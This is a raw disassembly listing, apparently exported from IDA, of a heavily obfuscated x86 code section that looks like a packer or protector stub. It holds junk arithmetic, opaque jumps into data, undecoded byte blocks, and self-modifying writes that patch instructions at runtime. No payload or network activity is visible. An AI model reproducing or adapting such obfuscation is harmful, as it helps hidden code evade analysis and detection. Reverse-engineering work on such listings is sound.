; FUNCTION CHUNK AT 0077F850 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007812ED SIZE 0000000E BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ecx
		mov	ecx, offset loc_77F990
		jmp	loc_77F850
sub_780D69	endp

; ---------------------------------------------------------------------------
		dd 79E95900h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_780D7F:				; CODE XREF: _0xtwbvzc:0077FFE8j
		push	esi

; =============== S U B	R O U T	I N E =======================================



sub_780D80	proc near		; CODE XREF: _0xtwbvzc:0078065Ap
		xchg	esi, [esp+0]
		pop	esi
		cld
		jmp	loc_7815E7
sub_780D80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_780D8A:				; CODE XREF: _0xtwbvzc:007815B8j
		retn
; ---------------------------------------------------------------------------


loc_780D8B:				; CODE XREF: _0xtwbvzc:loc_7801C8j
		pop	ecx
		sub	ecx, 0DB3A5DAFh
		add	ecx, 0C09A8090h
		jmp	loc_7809A6

; =============== S U B	R O U T	I N E =======================================



sub_780D9D	proc near		; CODE XREF: sub_7815C7-897p

; FUNCTION CHUNK AT 007800BF SIZE 0000000D BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	eax, 29152725h
		popf
		jmp	loc_7800BF
sub_780D9D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		retn
; ---------------------------------------------------------------------------
		align 10h

locret_780DB0:				; CODE XREF: _0xtwbvzc:007818C8j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_780DB3:				; CODE XREF: _0xtwbvzc:0077FA89j
		jmp	near ptr dword_77F8BC+19h
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_780DB9:				; CODE XREF: _0xtwbvzc:loc_7819E0j
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0FFE517E9h, 0C181C3FFh, 890D5BE4h, 0C181CD03h, 83A65E47h
; ---------------------------------------------------------------------------


loc_780DD0:				; CODE XREF: _0xtwbvzc:0077F302j
		call	loc_77F78A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_780DD7:				; CODE XREF: sub_7815C7-886j
		jmp	loc_781058
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		dd 0F7C8810Fh, 487FFFFh, 830F5824h, 0FFFFF2A8h,	0FFE4FBE8h
		dd 0E90000FFh, 0FFFFEF7Dh, 0E2625D68h, 0C881589Dh, 55F6B9F4h
		dd 811CC0C1h, 0A8BAF9C0h, 171F687Ch, 0D4E90078h, 0
		dd 0EFB78C0Fh, 0CA33FFFFh, 0A908C0Fh, 0A8E90000h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_781910


loc_780E2B:				; CODE XREF: sub_781910+10j
		xchg	esi, [esp+4+var_4]
		mov	edi, esi
		pop	esi


loc_780E31:				; CODE XREF: _0xtwbvzc:0077F2FAj
		or	edi, 854D185Bh
		and	edi, 4570D945h
		jnz	loc_780C2C
; END OF FUNCTION CHUNK	FOR sub_781910
; ---------------------------------------------------------------------------
		db 0
		dd 0FDB2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77FE08


loc_780E4A:				; CODE XREF: sub_77FE08+10j
		jmp	loc_77FAC9
; END OF FUNCTION CHUNK	FOR sub_77FE08
; ---------------------------------------------------------------------------
		align 10h
		dd 9BF58100h, 2B9D567Ah, 0B5BE9FBh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_780CD2


loc_780E60:				; CODE XREF: sub_780CD2:loc_78138Cj
		pop	ecx
		add	edx, 0E140EA73h
		rol	edx, 4
		cmp	edx, 0A1EEEF93h
		jmp	near ptr dword_77F53C+1Bh
; END OF FUNCTION CHUNK	FOR sub_780CD2
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FFF63D8Dh, 0F738E9FFh, 0FFFFh, 5B241C87h, 0E8240487h
		dd 0FFFFF64Fh
		db 0
; ---------------------------------------------------------------------------


loc_780E91:				; CODE XREF: _0xtwbvzc:0078145Bj
		jmp	loc_78188D
; ---------------------------------------------------------------------------
		align 4
		dd 0E9D58D0Fh, 8100FFFFh, 0EF5D78FFh, 0F523E957h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7817BC


loc_780EAC:				; CODE XREF: sub_7817BC:loc_780661j
		call	loc_781708
; END OF FUNCTION CHUNK	FOR sub_7817BC
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFF3FAh
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_304. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_781250


loc_780EBC:				; CODE XREF: sub_781250+Bj
		jmp	nullsub_303
; END OF FUNCTION CHUNK	FOR sub_781250
; ---------------------------------------------------------------------------
		align 2
		dw 830Fh
		dd 0FFFFF3EDh, 1680F181h, 0C26851A7h, 0E900780Dh, 0FFFFE8DEh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7802A7


loc_780ED8:				; CODE XREF: sub_7802A7:loc_780395j
		push	offset byte_780C8B
		jmp	near ptr dword_77FEDC+47h
; END OF FUNCTION CHUNK	FOR sub_7802A7
; ---------------------------------------------------------------------------
		dw 0C300h
		dd 0FFEDAEE9h, 0C30000FFh, 0E737E900h, 0FFFFh
; ---------------------------------------------------------------------------


loc_780EF4:				; CODE XREF: _0xtwbvzc:0078013Fj
		pop	edx
		xor	edx, 28F3440Ch
		add	edx, 0B08D49E6h
		rol	edx, 13h
		jmp	loc_7806F8
; ---------------------------------------------------------------------------
		align 2
		dw 8B56h
		dd 243487F3h, 781833BBh, 0EA07E900h, 0F00FFFFh,	0A8B85h
		dd 45EF8100h, 0E9FF73E4h, 0FFFFFDA6h, 0E4C78100h, 0E808C01Dh
		dd 0FFFFE83Ah
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_780531


loc_780F39:				; CODE XREF: sub_780531+B20j
		jmp	nullsub_257
; END OF FUNCTION CHUNK	FOR sub_780531
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77FF2E


loc_780F3F:				; CODE XREF: sub_77FF2E+13j
		jmp	loc_77F848
; END OF FUNCTION CHUNK	FOR sub_77FF2E
; ---------------------------------------------------------------------------
		dd 46E6800h, 0CAE90078h, 6
		db 0
; ---------------------------------------------------------------------------


loc_780F51:				; CODE XREF: _0xtwbvzc:loc_77F856j
		mov	ebp, eax
		xchg	ebp, [esp]
		mov	eax, offset loc_781347
		jmp	loc_780478
; ---------------------------------------------------------------------------
		dd 0BE2C100h, 0FFF95BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_780F69:				; DATA XREF: sub_77FE08-330o
		push	ecx
		mov	ecx, 780C21h
		jmp	loc_781694
; ---------------------------------------------------------------------------
		db 0
byte_780F75	db 0E8h, 74h, 0EEh	; DATA XREF: sub_7815C7:loc_781694o
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_780F7B:				; CODE XREF: _0xtwbvzc:loc_780BC1j
		jg	loc_781458
		jmp	loc_7807E3
; ---------------------------------------------------------------------------
		align 4
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C1h
		dd 0B9E908CFh, 0FFFFF0h
		db 0
; ---------------------------------------------------------------------------


loc_780F95:				; DATA XREF: _0xtwbvzc:007808BAo
		xor	edx, eax
		dec	ecx
		jnz	loc_7810AF
		xchg	esi, [esp]
		jmp	loc_781101
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_259. PRESS KEYPAD	"+" TO EXPAND]
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_780FA9	proc near		; CODE XREF: _0xtwbvzc:00780356p
		xchg	edx, [esp+0]
		pop	edx
		lea	eax, dword_7801F2
		push	esi
		push	offset loc_77FFCC
		jmp	nullsub_302
sub_780FA9	endp

; ---------------------------------------------------------------------------
		align 10h
dword_780FC0	dd 0E9C30350h, 0FFFFF710h, 5A241487h, 78123268h, 0E7DAE900h
					; DATA XREF: sub_781910:loc_7804D5o
					; _0xtwbvzc:00781583w ...
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77FC00


loc_780FD7:				; CODE XREF: sub_77FC00+1716j
		xor	edi, 0EF5389C4h
		add	edi, 0C2D1EC2Dh
		jmp	loc_77F815
; END OF FUNCTION CHUNK	FOR sub_77FC00

; =============== S U B	R O U T	I N E =======================================



sub_780FE8	proc near		; DATA XREF: _0xtwbvzc:00781369o

; FUNCTION CHUNK AT 0077FFAE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00780B91 SIZE 00000017 BYTES

		push	esi
		push	70F8EB9Eh
		pop	esi
		add	esi, 0EA854A42h
		jmp	loc_780B91
sub_780FE8	endp

; ---------------------------------------------------------------------------
		dw 9D00h
; ---------------------------------------------------------------------------
		jmp	sub_77FDBF
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_781003:				; CODE XREF: _0xtwbvzc:0078068Fj
		retn
; ---------------------------------------------------------------------------
		dd 1FE9C300h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_78100B:				; CODE XREF: _0xtwbvzc:0077FF72j
		jmp	loc_781764
; ---------------------------------------------------------------------------
		dd 0D10B0000h, 146E9h, 53000000h, 0FFE89CE9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

locret_781023:				; CODE XREF: _0xtwbvzc:007818F8j
		retn
; ---------------------------------------------------------------------------
		dd 0B2E90000h, 0FFFFEEh, 0C300h, 0FFF5EBE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_781036:				; CODE XREF: _0xtwbvzc:00780675j
		jmp	locret_781406
; ---------------------------------------------------------------------------
		align 4
		dd 0E8008A00h, 0FFFFECBFh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_780531


loc_781046:				; CODE XREF: sub_780531+7Ej
		call	nullsub_20
		push	esi
		push	offset loc_7807D4
		jmp	loc_780F39
; END OF FUNCTION CHUNK	FOR sub_780531
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_781058:				; CODE XREF: sub_7815C7:loc_780DD7j
		xor	edx, 0C3F2AF3Ah
		add	edx, 6C255D82h
		push	offset loc_77F3F7
		jmp	nullsub_259
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_78077A


loc_781070:				; CODE XREF: sub_78077A+1Bj
		push	esi
		mov	esi, 77F6ACh
		jmp	loc_780623
; END OF FUNCTION CHUNK	FOR sub_78077A
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FFF02085h, 0EF33E9FFh
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_781087:				; CODE XREF: _0xtwbvzc:0077F6E5j
		jmp	loc_77F57C
; ---------------------------------------------------------------------------
		dd 0B0F8700h, 358D0FD3h, 0E9FFFFE2h, 0FFFFE5FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_78109E:				; CODE XREF: _0xtwbvzc:loc_780ABFj
		mov	ecx, ebx
		push	edx
		mov	edx, offset nullsub_310
		jmp	loc_77FF8D
; ---------------------------------------------------------------------------
		align 4

locret_7810AC:				; CODE XREF: _0xtwbvzc:0077F2F5j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_7810AF:				; CODE XREF: sub_77F98E+E72j
					; _0xtwbvzc:00780F98j ...
		jb	loc_77F99C
		jz	loc_7811B3
		lodsb
		call	sub_780D69
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_7810C3:				; CODE XREF: _0xtwbvzc:0077FFDEj
		jl	loc_78070F
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
; ---------------------------------------------------------------------------
		mov	ecx, 0E92840E5h
		aaa
		idiv	bh
		inc	dword ptr [eax]


loc_7810D7:				; CODE XREF: _0xtwbvzc:0077F85Dj
		xchg	edi, edx
; START	OF FUNCTION CHUNK FOR sub_77FF2E


loc_7810D9:				; CODE XREF: sub_77FF2E:loc_77F848j
		add	eax, 0EF41A994h
		add	eax, ebp
		push	offset byte_7819D1
		jmp	nullsub_301
; END OF FUNCTION CHUNK	FOR sub_77FF2E
; ---------------------------------------------------------------------------
		align 4
		dd 0C2819D00h, 0E29449AEh, 0E9241487h, 0FFFFF95Bh, 0FFE26FE8h
		db 0FFh
; ---------------------------------------------------------------------------


loc_781101:				; CODE XREF: _0xtwbvzc:00780FA1j
		jmp	loc_781527
; ---------------------------------------------------------------------------
		dw 487h
		dd 240C8724h, 2C59C18Bh, 0E8E2E999h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_781117:				; DATA XREF: _0xtwbvzc:00781846o
		mov	edi, [edi]
		popf


loc_78111A:				; DATA XREF: _0xtwbvzc:loc_78134Fo
		xchg	edi, [esp]
		call	eax
		jmp	loc_7815B3
; ---------------------------------------------------------------------------


loc_781124:				; CODE XREF: _0xtwbvzc:007801F8j
		push	esi


loc_781125:				; CODE XREF: _0xtwbvzc:007804CBj
		mov	esi, eax
		xchg	esi, [esp]
		jmp	loc_781197
; ---------------------------------------------------------------------------
		align 10h
		dd 0F438850Fh, 800FFFFFh, 9CCh,	0FFFC5CE9h, 18C2C1FFh
		dd 0E3FC8E0Fh, 14E9FFFFh, 0FFFFF6h, 0FE54D181h,	0D50334BFh
		dd 41BE9h, 0F000000h, 0FFEDD687h, 240C87FFh, 8B241487h
		dd 0E8E95ACAh, 0FFFFECh
; ---------------------------------------------------------------------------


loc_781174:				; CODE XREF: _0xtwbvzc:007807DEj
		mov	ecx, esi
		xchg	ecx, [esp]
		push	45F8FD51h
		pop	esi
		jmp	near ptr dword_78058C+2
; ---------------------------------------------------------------------------
		db 0, 8Bh, 0F9h

; =============== S U B	R O U T	I N E =======================================



sub_781187	proc near		; CODE XREF: _0xtwbvzc:0077FBEEp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0077FA8E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0077FA9D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00780513 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00780826 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0078091B SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		xchg	ebp, [esp+0]
		mov	ecx, ebp
		pop	ebp
		jmp	loc_77FA8E
sub_781187	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_781197:				; CODE XREF: _0xtwbvzc:0078112Aj
		mov	eax, ebp
		xchg	eax, [esp]
		push	77F5A5h
		jmp	locret_780705
; ---------------------------------------------------------------------------
		dw 0FF00h
		dd 7580C015h, 0FB0FE900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_7811B3:				; CODE XREF: sub_7815C7:loc_77F99Cj
					; sub_7815C7-512j
		push	offset loc_77FD6A
		jmp	nullsub_307
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------


loc_7811BD:				; CODE XREF: _0xtwbvzc:007805B5j
		xchg	ecx, [esp]
		pop	ecx
		call	nullsub_317
		call	sub_7814D3
; ---------------------------------------------------------------------------
		db 0
		dd 0F1F0E900h, 0FFFFh

; =============== S U B	R O U T	I N E =======================================



sub_7811D4	proc near		; CODE XREF: _0xtwbvzc:0077F936p

; FUNCTION CHUNK AT 00780B1A SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		xchg	edi, [esp+0]
		mov	edx, edi
		pop	edi
		jmp	loc_780B1A
sub_7811D4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 8CE6815Eh, 817A3C69h, 92754CF6h, 8C68147h, 3D3BD19h
		dd 2A768F5h, 0E4E90078h, 0FFFFFAh, 58D08500h, 0FFF300E9h
		dd 0C600FFh, 815F5809h,	0EA34C2CFh, 6FC7816Eh, 8121C8A0h
		dd 0A50E66CFh, 0C7F7D7h, 0E9000080h, 0FFFFE946h, 800F0000h
		dd 0FFFFE0A8h, 87EE8B55h, 0B968242Ch, 0E9BA438Eh, 49Ch
		dd 880F0000h, 0FFFFF297h

; =============== S U B	R O U T	I N E =======================================



sub_781250	proc near		; CODE XREF: sub_7815C7+1BEp

; FUNCTION CHUNK AT 00780EBC SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	0FFFFFFFFh
		push	offset dword_780A5C
		jmp	loc_780EBC
sub_781250	endp

; ---------------------------------------------------------------------------
		db 0
byte_781261	db 87h,	1Ch, 24h	; DATA XREF: _0xtwbvzc:00780431o
		dd 2B68EC8Bh, 0E90077F6h, 0FFFFFC7Dh
		db 0
; ---------------------------------------------------------------------------


loc_781271:				; DATA XREF: _0xtwbvzc:0078152Ao
		pop	esi
		push	780DF8h
		jmp	locret_780872
; ---------------------------------------------------------------------------
		dd 7ED820Fh, 14870000h,	0A0685A24h, 0E9007816h,	0FFFFFDA0h
		dd 0E8590000h, 0FFFFEC32h, 8ED6689Ch, 81585182h, 2EF2AEE0h
		dd 0F429E983h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_7812AB:				; CODE XREF: _0xtwbvzc:00780A2Fj
		pop	ebx
		add	ecx, 81B4A150h
		sub	ecx, 0C6E4E577h
		xor	ecx, 0AD5048EAh
		or	ecx, 794900Bh
		add	ecx, 48B90039h
		jmp	loc_78178A
; ---------------------------------------------------------------------------
		align 10h
		dd 8700C300h, 8AE8240Ch
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_7812DB:				; CODE XREF: _0xtwbvzc:00780CF7j
		jmp	near ptr dword_7809B0+27h
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_7812E1:				; CODE XREF: _0xtwbvzc:0078099Bj
		push	offset byte_7812FB
		jmp	locret_7813E4
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_780D69


loc_7812ED:				; CODE XREF: sub_780D69:loc_77F850j
		mov	byte ptr [ecx],	0C1h
		pop	ecx
		push	offset sub_77F98E
		jmp	near ptr dword_77F400+81h
; END OF FUNCTION CHUNK	FOR sub_780D69
; ---------------------------------------------------------------------------
byte_7812FB	db 0C6h			; DATA XREF: _0xtwbvzc:loc_7812E1o
		dd 87598701h, 0F18B240Ch, 0FFEC3EE9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77FC00


loc_781309:				; CODE XREF: sub_77FC00:loc_77FB82j
		push	edi
		push	68805867h
		pop	edi
		sub	edi, 958AD584h
		jmp	loc_780FD7
; END OF FUNCTION CHUNK	FOR sub_77FC00
; ---------------------------------------------------------------------------


loc_78131B:				; CODE XREF: _0xtwbvzc:00780306j
		pushf
		ror	edi, 1Bh


loc_78131F:				; CODE XREF: _0xtwbvzc:007802F8j
		add	eax, 0E056CE83h
		mov	eax, [eax]
		call	near ptr dword_77F400+20h


loc_78132C:				; CODE XREF: _0xtwbvzc:00780BDBj
		push	0D59D3E30h
		pop	esi
		and	esi, 0F4C5002Dh
		or	esi, 1EB3D0ECh
		xor	esi, 293ECB96h
		add	edi, esi
		pop	esi


loc_781347:				; DATA XREF: _0xtwbvzc:00780F56o
		mov	ebp, 0EE28E93Fh
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_78134F:				; CODE XREF: _0xtwbvzc:loc_78009Aj
		mov	ecx, offset loc_78111A
		jmp	loc_77FBDA
; ---------------------------------------------------------------------------


loc_781359:				; CODE XREF: _0xtwbvzc:loc_780478j
		mov	byte ptr [eax],	8Bh
		pop	eax
		xor	edi, 0FABF128Dh
		add	edi, 0C4B3F491h
		push	offset sub_780FE8
		jmp	near ptr dword_77F6FC+5
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_781374	proc near		; CODE XREF: _0xtwbvzc:0078176Ap

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00780A6D SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00780D19 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00781429 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ebx
		push	6379F39Ch
		pop	ebx
		push	eax
		mov	eax, ecx
		jmp	loc_780A6D
sub_781374	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_314. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_780CD2


loc_78138C:				; CODE XREF: sub_780CD2+Fj
		jmp	loc_780E60
; END OF FUNCTION CHUNK	FOR sub_780CD2
; ---------------------------------------------------------------------------


loc_781391:				; CODE XREF: _0xtwbvzc:007802C0j
		pop	eax
		and	eax, 74FBB29h
		sub	eax, 9E6602F4h
		xor	eax, 5FCC5E79h
		or	eax, 596A1651h
		add	eax, 86FAA99Fh
		call	near ptr dword_77FB88+16h
		push	0FB6F3C99h
		pop	eax
		sub	eax, 0F575DF93h
		and	eax, 2CED13B1h
		or	eax, 0A3CD598Eh
		push	offset byte_780ACD
		jmp	near ptr dword_77F60C+1
; ---------------------------------------------------------------------------
		align 4
		dd 0D4B6C6F7h, 82E95270h, 0FFFFEEh
; ---------------------------------------------------------------------------

locret_7813E4:				; CODE XREF: _0xtwbvzc:007812E6j
		retn
; ---------------------------------------------------------------------------
		align 2


loc_7813E6:				; CODE XREF: _0xtwbvzc:0077FCB1j
		jmp	loc_78054A
; ---------------------------------------------------------------------------
		align 4
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFFC11h
		db 2 dup(0)
word_7813F6	dw 487h			; DATA XREF: _0xtwbvzc:loc_77F740o
		dd 5ABB5324h, 0E90077F9h, 0FFFFFDC9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_781406:				; CODE XREF: _0xtwbvzc:loc_781036j
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0B9840F00h, 0FFFFFAh, 0FFF3E900h, 1FBBFFFFh,	0F9923B7h
		dd 0FFEC8C86h, 0EA41E9FFh, 0FFFFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_311. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_781374


loc_781429:				; CODE XREF: sub_781374-8E0j
		jmp	loc_780D19
; END OF FUNCTION CHUNK	FOR sub_781374
; ---------------------------------------------------------------------------
		dw 0ECE9h
		dd 0FFFFE4h
		db 0
byte_781435	db 87h,	1Ch, 24h	; DATA XREF: sub_7805C0:loc_7803B7o
		dd 78068868h, 0E8A5E900h
		db 2 dup(0FFh),	0
byte_781443	db 0E8h			; DATA XREF: _0xtwbvzc:00780963o
		dd 0FFFFE8AFh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_78144A:				; CODE XREF: sub_7815C7-1C24j
		jmp	sub_78186E
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		align 10h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_315. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_781452:				; DATA XREF: sub_78020A+6o
		add	edx, 0B27D7620h


loc_781458:				; CODE XREF: _0xtwbvzc:loc_780F7Bj
		mov	edx, [edx]
		popf
		jmp	loc_780E91
; ---------------------------------------------------------------------------
		dd 0C300h, 5E8706C6h, 0FFF588E8h
		db 0FFh
; ---------------------------------------------------------------------------


loc_78146D:				; CODE XREF: _0xtwbvzc:0078063Ej
		xchg	edi, [esp]
		pop	edi
		push	ebp
		mov	ebp, ecx
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_781474:				; CODE XREF: sub_7815C7:loc_77F784j
		xchg	ebp, [esp+0]
		push	0B10BC7EDh
		xchg	ecx, [esp+4+var_4]
		jmp	near ptr dword_77F400+0F0h
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		dd 0C2C15D00h, 6EEA8108h, 0E8C33B5Ah, 0FFFFDE17h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77F98E


loc_781495:				; CODE XREF: sub_77F98E+7j
		jmp	loc_7807FF
; END OF FUNCTION CHUNK	FOR sub_77F98E
; ---------------------------------------------------------------------------


loc_78149A:				; CODE XREF: _0xtwbvzc:0077F745j
		jmp	near ptr dword_77F400+7Eh
; ---------------------------------------------------------------------------
		align 10h
		dd 1AC0C100h, 0DF1BF081h, 0C50337B6h, 0BB326852h, 815AF8B7h
		dd 10939CF2h, 0F34EE9E2h
		db 2 dup(0FFh),	0
byte_7814BF	db 9Dh			; DATA XREF: sub_7815C7:loc_77F9AAo
		dd 0FFE656E8h, 0E9C300FFh, 0FFFFEA56h, 0F78C0F00h
		db 0F3h, 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_7814D3	proc near		; CODE XREF: _0xtwbvzc:007811C6p
		xchg	eax, [esp+0]
		pop	eax
		nop
		call	sub_7819E5
		jmp	near ptr dword_77F688+41h
sub_7814D3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0FF3E8A0Fh, 0C3C1FFFFh, 2ECB8112h, 81CD3C4Fh, 0C3B0C6C3h
		dd 0E9C30332h, 0FFFFF76Ch
; ---------------------------------------------------------------------------


loc_781500:				; CODE XREF: _0xtwbvzc:loc_77FD7Aj
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp]
		mov	eax, ecx
		call	loc_780B07


loc_78150D:				; DATA XREF: _0xtwbvzc:00780689o
		push	91438D51h
		pop	eax
		add	eax, 0E6AA8B9Ch
		call	sub_7815C7
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 0F888E900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_781527:				; CODE XREF: _0xtwbvzc:loc_781101j
		mov	ecx, esi
		pop	esi
		push	offset loc_781271
		jmp	near ptr dword_77F798+72h
; ---------------------------------------------------------------------------
		dd 0FD20900h, 0A384h, 3C1E800h,	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77F978


loc_781544:				; CODE XREF: sub_77F978:loc_780A19j
		pop	edx
		push	offset word_7808E6
		jmp	nullsub_308
; END OF FUNCTION CHUNK	FOR sub_77F978
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FD20910h, 8784h, 19C46800h,	0E2E90078h, 0FFFFF8h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_781565	proc near		; CODE XREF: sub_7815C7:loc_77FB0Fp
		xchg	ecx, [esp+0]
		pop	ecx
		mov	byte ptr [edx],	0C2h
		pop	edx
		call	sub_77F522


loc_781572:				; CODE XREF: _0xtwbvzc:007803B0j
		jmp	nullsub_312
sub_781565	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		xchg	ecx, [esp]
		pop	ecx
		mov	byte ptr ds:dword_77FFA0, 0E8h
		mov	byte ptr ds:dword_780FC0+8, 87h
		mov	byte ptr ds:dword_780FC0+0Bh, 5Ah
		mov	byte ptr ds:dword_780FC0+0Ch, 68h
		mov	byte ptr ds:dword_780FC0+11h, 0E9h
		mov	byte ptr ds:dword_7801F2, 0Fh
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_780531


loc_7815A7:				; CODE XREF: sub_780531+Aj
		jmp	loc_77FBB1
; END OF FUNCTION CHUNK	FOR sub_780531
; ---------------------------------------------------------------------------
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_7815AE:				; DATA XREF: _0xtwbvzc:loc_78188Do
		xchg	edx, [esp]
		call	eax


loc_7815B3:				; CODE XREF: _0xtwbvzc:0078111Fj
		push	offset word_780C9A
		jmp	locret_780D8A
; ---------------------------------------------------------------------------

locret_7815BD:				; CODE XREF: _0xtwbvzc:loc_77FBF9j
		retn
; ---------------------------------------------------------------------------
		align 10h

locret_7815C0:				; CODE XREF: _0xtwbvzc:0078183Ej
		retn
; ---------------------------------------------------------------------------
		align 2


loc_7815C2:				; CODE XREF: _0xtwbvzc:0077FAF9j
		jmp	near ptr dword_77F53C+11h

; =============== S U B	R O U T	I N E =======================================



sub_7815C7	proc near		; CODE XREF: _0xtwbvzc:00781519p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0077F5DF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0077F6CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0077F784 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0077F825 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0077F99C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0077F9AA SIZE 0000000A BYTES
